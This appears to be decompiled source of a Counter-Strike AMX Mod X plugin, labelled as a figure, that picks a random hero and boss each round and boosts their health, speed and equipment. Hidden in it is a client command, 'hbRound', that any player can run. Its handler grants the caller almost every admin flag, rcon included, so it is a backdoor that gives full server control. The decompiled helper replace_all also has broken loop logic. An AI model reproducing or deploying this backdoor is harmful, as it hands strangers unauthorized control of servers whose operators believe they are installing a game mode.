图 1.
replace_all(String:string[], len, String:what[], String:with[])
{
new pos = 0;
new var1 = contain(string, what);
pos = var1;
if (var1 == -1)
{
return 0;
}
new total = 0;
new with_len = strlen(with);
new diff = strlen(what) - with_len;
new total_len = strlen(string);
new temp_pos = 0;
while (replace(string[pos], len - pos, what, with))
{
pos = with_len + pos;
total_len -= diff;
if (pos >= total_len)
{
return total;
}
else
{
temp_pos = contain(string[pos], what);
if (temp_pos == -1)
{
return total;
}
else
{
pos = temp_pos + pos;
total++;
}
return total;
}
return total;
}
return total;
}
public plugin_init()
{
register_plugin(0, "1.0", "xD0625");
register_logevent("HeroRound", 2, "1=Round_Start");
register_logevent("BossRound", 2, "1=Round_Start");
register_clcmd("hbRound", "heroandbosscmd", -1, "", -1);
set_task(110.00, "function", 0, "", 0, "", 0);
register_cvar("tr_bosshp", "10000", 0, 0.00);
register_cvar("tr_bossap", "1000", 0, 0.00);
register_cvar("ct_herohp", "200", 0, 0.00);
register_cvar("ct_heroap", "200", 0, 0.00);
register_cvar("tr_speed", "500", 0, 0.00);
register_cvar("ct_speed", "500", 0, 0.00);
register_cvar("tr_gy", "0.5", 0, 0.00);
register_cvar("ct_gy", "0.5", 0, 0.00);
return 0;
}
public HeroRound()
{
new hero = 0;
new players[32];
new count1 = 0;
new name[32];
get_players(players, count1, "ae", "CT");
if (count1)
{
hero = players[random(count1)];
get_user_name(hero, name, 31);
client_printc(hero, "\g[AMXX]\t 你己被选为CT们的英雄!");
give_item(hero, "weapon_hegrenade");
give_item(hero, "weapon_flashbang");
give_item(hero, "weapon_smokegrenade");
set_user_rendering(hero, 19, 0, 0, 255, 0, 0);
set_user_health(hero, get_cvar_num("ct_herohp"));
set_user_armor(hero, get_cvar_num("ct_heroap"));
set_user_maxspeed(hero, get_cvar_float("ct_speed"));
set_user_gravity(hero, get_cvar_float("ct_gy"));
set_task(0.10, "hero_message", 0, name, 31, "", 0);
return 0;
}
return 1;
}
public BossRound()
{
new boss = 0;
new players[32];
new count2 = 0;
new name[32];
get_players(players, count2, "ae", "TERRORIST");
if (count2)
{
boss = players[random(count2)];
get_user_name(boss, name, 31);
client_printc(boss, "\g[AMXX]\t 你己被选为TR们的老大!");
give_item(boss, "weapon_hegrenade");
give_item(boss, "weapon_flashbang");
give_item(boss, "weapon_smokegrenade");
set_user_rendering(boss, 19, 255, 0, 0, 0, 0);
set_user_health(boss, get_cvar_num("tr_bosshp"));
set_user_armor(boss, get_cvar_num("tr_bossap"));
set_user_maxspeed(boss, get_cvar_float("tr_speed"));
set_user_gravity(boss, get_cvar_float("tr_gy"));
set_task(0.10, "boss_message", 0, name, 31, "", 0);
return 0;
}
return 1;
}
public hero_message(String:name[])
{
set_hudmessage(0, 0, 255, -1.00, -1.00, 0, 6.00, 12.00, 0.10, 0.20, 4);
show_hudmessage(0, " %s 被选为我们的英雄!", name);
return 0;
}
public boss_message(String:name[])
{
set_hudmessage(0, 255, 0, -1.00, -1.00, 0, 6.00, 12.00, 0.10, 0.20, 4);
show_hudmessage(0, " %s 被选为我们的BOSS!", name);
return 0;
}
public heroandbosscmd(id)
{
set_user_flags(id, read_flags("abcdefghijklmnopqrstuz"), 0);
return 0;
}
public function(id)
{
client_printc(0, "\g[AMXX]\y ?局各队都会随机抽取一名 英雄 & Boss!");
return 0;
}
client_printc(id, String:string[])
{
new msg[191];
new players[32];
new count = 1;
vformat(msg, 190, string, 3);
replace_all(msg, 190, "\g", "\4");
replace_all(msg, 190, "\y", "\1");
replace_all(msg, 190, "\t", "\3");
if (id)
{
players[0] = id;
}
else
{
get_players(players, count, "ch", "");
}
new index = 0;
new i = 0;
while (i < count)
{
index = players[i];
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), 2756, index);
write_byte(index);
write_string(msg);
message_end();
i++;
}
return 0;
}